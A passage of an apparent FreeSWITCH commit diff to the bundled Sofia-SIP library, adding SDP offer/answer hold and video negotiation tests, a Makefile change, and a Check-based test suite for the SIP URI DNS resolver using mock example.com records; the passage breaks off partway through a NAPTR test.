+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_SENDRECV);
+
+  /* 'A' will put B on hold but this time with c=IN IP4 0.0.0.0 */
+  TEST(soa_set_params(a, SOATAG_HOLD("*"), TAG_END()), 1);
+  TEST(soa_generate_offer(a, 1, test_completed), 0);
+
+  {
+    sdp_session_t const *o_sdp;
+    sdp_session_t *sdp;
+    sdp_printer_t *p;
+    sdp_connection_t *c;
+
+    TEST(soa_get_local_sdp(a, &o_sdp, NULL, NULL), 1);
+    TEST_1(o_sdp != NULL && o_sdp != NONE);
+    TEST_1(sdp = sdp_session_dup(home, o_sdp));
+
+    /* Remove mode, change c=, encode offer */
+    if (sdp->sdp_media->m_connections)
+      c = sdp->sdp_media->m_connections;
+    else
+      c = sdp->sdp_connection;
+    TEST_1(c);
+    c->c_address = "0.0.0.0";
+
+    TEST_1(p = sdp_print(home, sdp, NULL, 0, sdp_f_realloc));
+    TEST_1(sdp_message(p));
+    offer = sdp_message(p); offerlen = strlen(offer);
+  }
+
+  TEST(soa_set_remote_sdp(b, 0, offer, -1), 1);
+  TEST(soa_generate_answer(b, test_completed), 0);
+  TEST_1(soa_is_complete(b));
+  TEST(soa_activate(b, NULL), 0);
+  TEST(soa_get_local_sdp(b, NULL, &answer, &answerlen), 1);
+  TEST_1(answer != NULL && answer != NONE);
+  TEST_1(strstr(answer, "a=recvonly"));
+  TEST(soa_set_remote_sdp(a, 0, answer, -1), 1);
+  TEST(soa_process_answer(a, test_completed), 0);
+  TEST(soa_activate(a, NULL), 0);
+
+  TEST(soa_is_audio_active(a), SOA_ACTIVE_SENDONLY);
+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_SENDONLY);
+  TEST(soa_is_audio_active(b), SOA_ACTIVE_RECVONLY);
+  TEST(soa_is_remote_audio_active(b), SOA_ACTIVE_RECVONLY);
+
+  /* 'A' will propose adding video. */
+  /* 'B' will reject. */
+  TEST(soa_set_params(a,
+		      SOATAG_HOLD(NULL),  /* 'A' will release hold. */
+		      SOATAG_USER_SDP_STR("m=audio 5008 RTP/AVP 0 8\r\ni=x\r\n"
+					  "m=video 5006 RTP/AVP 34\r\n"),
+		      TAG_END()), 2);
+
+  TEST(soa_generate_offer(a, 1, test_completed), 0);
+  TEST(soa_get_local_sdp(a, NULL, &offer, &offerlen), 1);
+  TEST_1(offer != NULL && offer != NONE);
+  TEST_1(!strstr(offer, "a=sendonly"));
+  TEST_1(strstr(offer, "m=video"));
+  TEST(soa_set_remote_sdp(b, 0, offer, offerlen), 1);
+  TEST(soa_generate_answer(b, test_completed), 0);
+  TEST_1(soa_is_complete(b));
+  TEST(soa_activate(b, NULL), 0);
+  TEST(soa_get_local_sdp(b, NULL, &answer, &answerlen), 1);
+  TEST_1(answer != NULL && answer != NONE);
+  TEST_1(!strstr(answer, "a=recvonly"));
+  TEST_1(strstr(answer, "m=video"));
+  TEST(soa_set_remote_sdp(a, 0, answer, -1), 1);
+  TEST(soa_process_answer(a, test_completed), 0);
+  TEST(soa_activate(a, NULL), 0);
+
+  TEST(soa_is_audio_active(a), SOA_ACTIVE_SENDRECV);
+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_SENDRECV);
+  TEST(soa_is_video_active(a), SOA_ACTIVE_REJECTED);
+
+  {
+    /* Test tags */
+    sdp_session_t const *l = NULL, *u = NULL, *r = NULL;
+    sdp_media_t const *m;
+
+    TEST(soa_get_params(b,
+			SOATAG_LOCAL_SDP_REF(l),
+			SOATAG_USER_SDP_REF(u),
+			SOATAG_REMOTE_SDP_REF(r),
+			TAG_END()), 3);
+
+    TEST_1(l); TEST_1(u); TEST_1(r);
+    TEST_1(m = l->sdp_media); TEST(m->m_type, sdp_media_audio);
+    TEST_1(!m->m_rejected);
+    TEST_1(m = m->m_next); TEST(m->m_type, sdp_media_video);
+    TEST_1(m->m_rejected);
+  }
+
+  /* 'B' will now propose adding video. */
+  /* 'A' will accept. */
+  TEST(soa_set_params(b,
+		      SOATAG_USER_SDP_STR("m=audio 5004 RTP/AVP 0 8\r\n"
+					  "m=video 5006 RTP/AVP 34\r\n"),
+		      TAG_END()), 1);
+
+  TEST(soa_generate_offer(b, 1, test_completed), 0);
+  TEST(soa_get_local_sdp(b, NULL, &offer, &offerlen), 1);
+  TEST_1(offer != NULL && offer != NONE);
+  TEST_1(!strstr(offer, "b=sendonly"));
+  TEST_1(strstr(offer, "m=video"));
+  TEST(soa_set_remote_sdp(a, 0, offer, offerlen), 1);
+  TEST(soa_generate_answer(a, test_completed), 0);
+  TEST_1(soa_is_complete(a));
+  TEST(soa_activate(a, NULL), 0);
+  TEST(soa_get_local_sdp(a, NULL, &answer, &answerlen), 1);
+  TEST_1(answer != NULL && answer != NONE);
+  TEST_1(!strstr(answer, "b=recvonly"));
+  TEST_1(strstr(answer, "m=video"));
+  TEST(soa_set_remote_sdp(b, 0, answer, -1), 1);
+  TEST(soa_process_answer(b, test_completed), 0);
+  TEST(soa_activate(b, NULL), 0);
+
+  TEST(soa_is_audio_active(a), SOA_ACTIVE_SENDRECV);
+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_SENDRECV);
+  TEST(soa_is_video_active(a), SOA_ACTIVE_SENDRECV);
+
+  TEST_VOID(soa_terminate(a, NULL));
+
+  TEST(soa_is_audio_active(a), SOA_ACTIVE_DISABLED);
+  TEST(soa_is_remote_audio_active(a), SOA_ACTIVE_DISABLED);
+
+  TEST_VOID(soa_terminate(b, NULL));
+
+  TEST_VOID(soa_destroy(a));
+  TEST_VOID(soa_destroy(b));
+#endif
+  su_home_deinit(home);
+
+  END();
+}
+
 int test_deinit(struct context *ctx)
 {
   BEGIN();
@@ -1951,10 +2673,11 @@
 #endif
 
   if (o_attach) {
-    char line[10];
+    char line[10], *cr;
     printf("%s: pid %u\n", name, getpid());
     printf("<Press RETURN to continue>\n");
-    fgets(line, sizeof line, stdin);
+    cr = fgets(line, sizeof line, stdin);
+    (void)cr;
   }
 #if HAVE_ALARM
   else if (o_alarm) {
@@ -1974,11 +2697,15 @@
     if (retval && quit_on_single_failure) { su_deinit(); return retval; } \
   } while(0)
 
+  retval |= test_localinfo_replacement(); SINGLE_FAILURE_CHECK();
+
   retval |= test_api_errors(ctx); SINGLE_FAILURE_CHECK();
   retval |= test_soa_tags(ctx); SINGLE_FAILURE_CHECK();
   retval |= test_init(ctx, argv + i); SINGLE_FAILURE_CHECK();
+
   if (retval == 0) {
-
+    retval |= test_address_selection(ctx); SINGLE_FAILURE_CHECK();
+    retval |= test_large_sessions(ctx); SINGLE_FAILURE_CHECK();
     retval |= test_params(ctx); SINGLE_FAILURE_CHECK();
     retval |= test_static_offer_answer(ctx); SINGLE_FAILURE_CHECK();
     retval |= test_codec_selection(ctx); SINGLE_FAILURE_CHECK();

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -19,14 +19,21 @@
 
 check_PROGRAMS = 	torture_sresolv test_sresolv
 
-TESTS = 		torture_sresolv run_test_sresolv
+TESTS =
 
+check_PROGRAMS +=	check_sres_sip
+TESTS +=		check_sres_sip
+check_sres_sip_LDADD = 	$(LDADD) ${top_builddir}/s2check/libs2.a @CHECK_LIBS@
+INCLUDES +=		-I${top_srcdir}/s2check
+
+TESTS += 		torture_sresolv run_test_sresolv
+
 CLEANFILES =		resolv.conf error.conf named.conf.tmp \
 			.test_sresolv.api.conf.?????? \
 			named.run
 
-LDADD = 		../url/liburl.la ../bnf/libbnf.la \
-			libsresolv.la \
+LDADD =			libsresolv.la \
+	 		../url/liburl.la ../bnf/libbnf.la \
 			../su/libsu.la
 
 test_sresolv_LDFLAGS =	-static
@@ -36,13 +43,15 @@
 
 nobase_include_sofia_HEADERS = \
 			sofia-sip/sresolv.h \
+			sofia-sip/sres_sip.h \
 			sofia-resolv/sres.h \
 			sofia-resolv/sres_config.h \
 			sofia-resolv/sres_async.h \
 			sofia-resolv/sres_cache.h \
 			sofia-resolv/sres_record.h
 
-libsresolv_la_SOURCES =	sres.c sres_cache.c sres_blocking.c sresolv.c
+libsresolv_la_SOURCES =	sres.c sres_cache.c sres_blocking.c \
+			sresolv.c sres_sip.c
 
 COVERAGE_INPUT = 	$(libsresolv_la_SOURCES) $(include_sofia_HEADERS)
 

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/check_sres_sip.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/sresolv/check_sres_sip.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/check_sres_sip.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/check_sres_sip.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1164 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2009 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE check_sres_sip.c
+ *
+ * @brief Check-driven tester for SIP URI resolver
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @copyright (C) 2009 Nokia Corporation.
+ */
+
+#include "config.h"
+
+#define SRES_SIP_MAGIC_T void
+
+#include <sofia-sip/sres_sip.h>
+
+#include "s2check.h"
+#include "s2dns.h"
+
+#include <sofia-sip/su_wait.h>
+#include <sofia-sip/sresolv.h>
+#include <sofia-sip/su_log.h>
+#include <sofia-sip/su_string.h>
+
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+
+#include <assert.h>
+
+SOFIAPUBVAR su_log_t sresolv_log[];
+
+static void
+setup_logs(int level)
+{
+  su_log_soft_set_level(sresolv_log, level);
+}
+
+/* */
+struct context {
+  su_root_t *root;
+  sres_resolver_t *sres;
+} x[1];
+
+static su_addrinfo_t hint_udp_tcp[2];
+static su_addrinfo_t hint_udp_tcp_tls[2];
+static su_addrinfo_t hint_udp_tcp_ip4[2];
+static su_addrinfo_t hint_tls[1];
+static su_addrinfo_t hint_tls_udp_tcp[1];
+
+static void
+resolver_setup(void)
+{
+  x->root = su_root_create(NULL);
+  assert(x->root);
+  s2_dns_setup(x->root);
+
+  s2_dns_record("test.example.com.", sres_type_a,
+		"test.example.com.", sres_type_a, "12.13.14.25",
+		NULL);
+
+  x->sres = sres_resolver_create(
+    x->root, NULL,
+#if HAVE_WIN32
+    SRESTAG_RESOLV_CONF("NUL"),
+#else
+    SRESTAG_RESOLV_CONF("/dev/null"),
+#endif
+    TAG_END());
+
+  hint_udp_tcp[0].ai_protocol = TPPROTO_UDP;
+  hint_udp_tcp[0].ai_next = &hint_udp_tcp[1];
+  hint_udp_tcp[1].ai_protocol = TPPROTO_TCP;
+
+  hint_udp_tcp_ip4[0].ai_protocol = TPPROTO_UDP;
+  hint_udp_tcp_ip4[0].ai_family = AF_INET;
+  hint_udp_tcp_ip4[0].ai_next = &hint_udp_tcp_ip4[1];
+  hint_udp_tcp_ip4[1].ai_protocol = TPPROTO_TCP;
+  hint_udp_tcp_ip4[1].ai_family = AF_INET;
+
+  hint_tls[0].ai_protocol = TPPROTO_TLS;
+
+  hint_tls_udp_tcp[0].ai_protocol = TPPROTO_TLS;
+  hint_tls_udp_tcp[0].ai_next = hint_udp_tcp;
+
+  hint_udp_tcp_tls[0].ai_protocol = TPPROTO_UDP;
+  hint_udp_tcp_tls[0].ai_next = &hint_udp_tcp_tls[1];
+  hint_udp_tcp_tls[1].ai_protocol = TPPROTO_TCP;
+  hint_udp_tcp_tls[1].ai_next = &hint_udp_tcp_tls[2];
+  hint_udp_tcp_tls[2].ai_protocol = TPPROTO_TLS;
+  hint_udp_tcp_tls[2].ai_next = NULL;
+
+  setup_logs(0);
+}
+
+static void
+resolver_teardown(void)
+{
+  sres_resolver_unref(x->sres), x->sres = NULL;
+  s2_dns_teardown();
+}
+
+/* ---------------------------------------------------------------------- */
+
+static uint16_t
+ai_port(su_addrinfo_t const *ai)
+{
+  return ai && ai->ai_addr ?
+    ntohs(((struct sockaddr_in *)ai->ai_addr)->sin_port) : 0;
+}
+
+static int
+ai_ip4_match(su_addrinfo_t const *ai,
+	     char const *addr,
+	     uint16_t port)
+{
+  struct in_addr in, in_in_ai;
+
+  if (ai_port(ai) != port)
+    return 0;
+
+  if (ai->ai_family != AF_INET)
+    return 0;
+
+  if (su_inet_pton(AF_INET, addr, &in) <= 0)
+    return 0;
+
+  in_in_ai = ((struct sockaddr_in *)ai->ai_addr)->sin_addr;
+
+  return memcmp(&in, &in_in_ai, (sizeof in)) == 0;
+}
+
+/* ---------------------------------------------------------------------- */
+
+START_TEST(invalid)
+{
+  sres_sip_t *srs;
+
+#if 0
+  S2_CASE("1.0", "Check invalid input values",
+	  "Detailed explanation for empty test case.");
+#endif
+
+  srs = sres_sip_new(NULL, (void *)"sip:test.example.com.", NULL,
+		    1, 1,
+		    NULL, NULL);
+  fail_if(srs != NULL);
+
+  srs = sres_sip_new(x->sres, NULL, NULL,
+		    1, 1,
+		    NULL, NULL);
+
+  fail_if(srs != NULL);
+
+  srs = sres_sip_new(x->sres, (void *)"tilu.liu.", NULL, 1, 1, NULL, NULL);
+  fail_unless(srs != NULL);
+  fail_if(sres_sip_error(srs) != SRES_SIP_ERR_BAD_URI);
+  fail_if(sres_sip_next_step(srs));
+  fail_if(sres_sip_results(srs) != NULL);
+  sres_sip_unref(srs);
+}
+END_TEST
+
+static void
+resolver_callback(void *userdata,
+		  sres_sip_t *srs,
+		  int final)
+{
+  if (final)
+    su_root_break((su_root_t *)userdata);
+}
+
+START_TEST(not_found)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+
+  srs = sres_sip_new(x->sres, (void *)"sip:notfound.example.net", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_run(x->root);
+
+  ai = sres_sip_results(srs);
+  fail_if(ai != NULL);
+
+  fail_if(sres_sip_error(srs) != SRES_SIP_ERR_NO_NAME);
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(failure)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+
+  /* there is no server at all */
+  s2_dns_teardown();
+
+  srs = sres_sip_new(x->sres, (void *)"sip:timeout.example.net", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_run(x->root);
+
+  ai = sres_sip_results(srs);
+  fail_if(ai != NULL);
+
+  fail_if(sres_sip_error(srs) != SRES_SIP_ERR_AGAIN);
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+/* time() replacement */
+static time_t offset;
+
+time_t
+time(time_t *return_time)
+{
+  su_time_t tv;
+  time_t now;
+
+  su_time(&tv);
+
+  now = tv.tv_sec + offset - 2208988800UL; /* NTP_EPOCH */
+
+  if (return_time)
+    *return_time = now;
+
+  return now;
+}
+
+/* Drop packet */
+static int drop(void *data, size_t len, void *userdata)
+{
+  return 0;
+}
+
+/* Fast forward time, call resolver timer */
+static void wakeup(su_root_magic_t *magic,
+		   su_timer_t *timer,
+		   su_timer_arg_t *extra)
+{
+  offset++;
+  sres_resolver_timer(x->sres, 0);
+}
+
+START_TEST(timeout)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  su_timer_t *faster = su_timer_create(su_root_task(x->root), 10);
+
+  su_timer_run(faster, wakeup, NULL);
+
+  s2_dns_set_filter(drop, NULL);
+
+  srs = sres_sip_new(x->sres, (void *)"sip:timeout.example.net", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_run(x->root);
+
+  ai = sres_sip_results(srs);
+  fail_if(ai != NULL);
+
+  fail_if(sres_sip_error(srs) != SRES_SIP_ERR_AGAIN);
+
+  sres_sip_unref(srs);
+
+  s2_dns_set_filter(NULL, NULL);
+
+  su_timer_destroy(faster);
+}
+END_TEST
+
+START_TEST(found_a)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+
+  srs = sres_sip_new(x->sres, (void *)"sip:test.example.com", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_run(x->root);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_if((ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(found_ip)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  url_string_t *uri;
+
+  srs = sres_sip_new(x->sres, (void *)"sip:127.21.50.37", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+  fail_if(sres_sip_next_step(srs));
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_if((ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+
+  srs = sres_sip_new(x->sres, (void *)"sip:127.21.50.37:", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+  fail_if(sres_sip_next_step(srs));
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_if((ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+
+#if SU_HAVE_IN6
+
+  uri = (void *)"sip:[3ff0:0010:3012:c000:02c0:95ff:fee2:4b78]";
+
+  srs = sres_sip_new(x->sres, uri, NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+  fail_if(sres_sip_next_step(srs));
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_if((ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+
+#endif
+}
+END_TEST
+
+START_TEST(found_maddr_a)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  url_string_t *uri;
+
+  s2_dns_record("maddr.example.com", sres_type_a,
+		"", sres_type_a, "11.12.13.14",
+		NULL);
+
+  uri = (void *)"sip:test.example.com;lr=1;maddr=maddr.example.com;more";
+
+  srs = sres_sip_new(x->sres, uri, NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_run(x->root);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_unless(ai_ip4_match(ai, "11.12.13.14", 5060));
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_if((ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(found_cname)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  url_string_t *uri;
+
+  s2_dns_default("example.com.");
+
+  s2_dns_record("cname1.example.com.", sres_type_a,
+		"", sres_type_cname, "a.example.com.",
+		"a", sres_type_a, "11.12.13.14",
+		NULL);
+
+  s2_dns_record("cname1.example.com.", sres_type_naptr,
+		"", sres_type_cname, "a.example.com.",
+		NULL);
+
+  s2_dns_record("cname1.example.com.", sres_type_aaaa,
+		"", sres_type_cname, "a.example.com.",
+		NULL);
+
+  s2_dns_record("a.example.com.", sres_type_a,
+		"", sres_type_a, "11.12.13.14",
+		NULL);
+
+  s2_dns_record("cname2.example.com.", sres_type_a,
+		"", sres_type_cname, "a.example.com.",
+		"test.example.com.", sres_type_a, "11.12.13.14",
+		NULL);
+
+  uri = (void *)"sip:cname1.example.com";
+
+  srs = sres_sip_new(x->sres, uri, NULL, 1, 1, resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_run(x->root);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_unless(ai_ip4_match(ai, "11.12.13.14", 5060));
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_if((ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(found_maddr_ip)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  url_string_t *uri;
+
+  uri = (void *)"sip:not.existing.net;maddr=127.21.50.37";
+
+  srs = sres_sip_new(x->sres, uri, NULL, 1, 1, resolver_callback, x->root);
+  fail_if(srs == NULL);
+  fail_if(sres_sip_next_step(srs));
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_if((ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+
+#if SU_HAVE_IN6
+
+  uri = (void *)"sip:test.example.com:"
+    ";maddr=3ff0:0010:3012:c000:02c0:95ff:fee2:4b78";
+
+  srs = sres_sip_new(x->sres, uri, NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+  fail_if(sres_sip_next_step(srs));
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_if((ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+
+  uri = (void *)"sip:test.example.com:"
+    ";maddr=[3ff0:0010:3012:c000:02c0:95ff:fee2:4b78]";
+
+  srs = sres_sip_new(x->sres, uri, NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+  fail_if(sres_sip_next_step(srs));
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_if((ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+
+#endif
+}
+END_TEST
+
+START_TEST(found_a_aaaa)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+
+  s2_dns_default("example.com.");
+
+  s2_dns_record("ip6ip4.example.com.", sres_type_a,
+		"", sres_type_a, "12.13.14.25",
+		"", sres_type_aaaa, "3ff0:0010:3012:c000:02c0:95ff:fee2:4b78",
+		NULL);
+
+  s2_dns_record("ip6ip4", sres_type_aaaa,
+		"", sres_type_aaaa, "3ff0:0010:3012:c000:02c0:95ff:fee2:4b78",
+		"", sres_type_a, "12.13.14.25",
+		NULL);
+
+  srs = sres_sip_new(x->sres, (void *)"sip:ip6ip4.example.com", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_run(x->root);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+#if SU_HAVE_IN6
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_unless(ai->ai_family == AF_INET6);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_unless(ai->ai_family == AF_INET6);
+  fail_if(!(ai = ai->ai_next));
+#endif
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_unless(!(ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(found_naptr)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  char const *d;
+
+  s2_dns_default(d = "example.com.");
+
+  s2_dns_record(d, sres_type_naptr,
+		/* order priority flags services regexp target */
+		d, sres_type_naptr, 20, 50, "s", "SIP+D2T", "", "_sip._tcp",
+		/* priority weight port target */
+		"_sip._tcp", sres_type_srv, 2, 100, 5060, "sip00",
+		"sip00", sres_type_a, "12.13.14.15",
+		NULL);
+
+  srs = sres_sip_new(x->sres, (void *)"sip:example.com", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_step(x->root, 1000);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_unless(!(ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(found_naptr_nohint)
+{
+  sres_sip_t *srs;
+  char const *d;
+
+  s2_dns_default(d = "example.com.");
+
+  s2_dns_record(d, sres_type_naptr,
+		/* order priority flags services regexp target */
+		d, sres_type_naptr, 20, 50, "s", "SIP+D2Z", "", "_sip._tilulilu",
+		/* priority weight port target */
+		"_sip._tilulilu", sres_type_srv, 2, 100, 5060, "sip00",
+		"sip00", sres_type_a, "12.13.14.15",
+		NULL);
+
+  srs = sres_sip_new(x->sres, (void *)"sip:example.com", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_step(x->root, 1000);
+
+  fail_unless(sres_sip_results(srs) == NULL);
+  fail_unless(sres_sip_error(srs) == SRES_SIP_ERR_NO_TPORT);
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(found_bad_naptr)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  char const *d;
+
+  s2_dns_default(d = "example.com.");
+
+  s2_dns_record(d, sres_type_naptr,
+		/* order priority flags services regexp target */
+		d, sres_type_naptr, 20, 50, "s", "ZIP+D2T", "", "_zip._tcp",
+		NULL);
+
+  s2_dns_record(d, sres_type_a,
+		"", sres_type_a, "11.12.13.14",
+		NULL);
+
+  srs = sres_sip_new(x->sres, (void *)"sip:example.com", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_run(x->root);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_if((ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(ignore_naptr)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  char const *d;
+
+  s2_dns_default(d = "example.com.");
+
+  s2_dns_record(d, sres_type_naptr,
+		/* order priority flags services regexp target */
+		d, sres_type_naptr, 20, 50, "s", "SIP+D2T", "", "_sip._tcp",
+		/* priority weight port target */
+		"_sip._tcp", sres_type_srv, 2, 100, 5060, "sip00",
+		"sip00", sres_type_a, "12.13.14.15",
+		NULL);
+
+  s2_dns_record(d, sres_type_a,
+		"", sres_type_a, "13.14.15.16",
+		NULL);
+
+  srs = sres_sip_new(x->sres, (void *)"sip:example.com:5060", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_step(x->root, 1000);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  ai = ai->ai_next; assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  ai = ai->ai_next; assert(ai == NULL);
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(found_naptr2)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  char const *d;
+
+  /* Test case without caching, two A addresses */
+
+  s2_dns_default(d = "example.com.");
+
+  s2_dns_record(d, sres_type_naptr,
+		/* order priority flags services regexp target */
+		"", sres_type_naptr, 20, 50, "s", "SIP+D2T", "", "_sip._tcp",
+		NULL);
+
+  s2_dns_record("_sip._tcp", sres_type_srv,
+		/* priority weight port target */
+		"", sres_type_srv, 2, 100, 5060, "sip00",
+		NULL);
+
+  s2_dns_record("sip00", sres_type_a,
+		"", sres_type_a, "12.13.14.15",
+		"", sres_type_a, "12.13.14.16",
+		NULL);
+
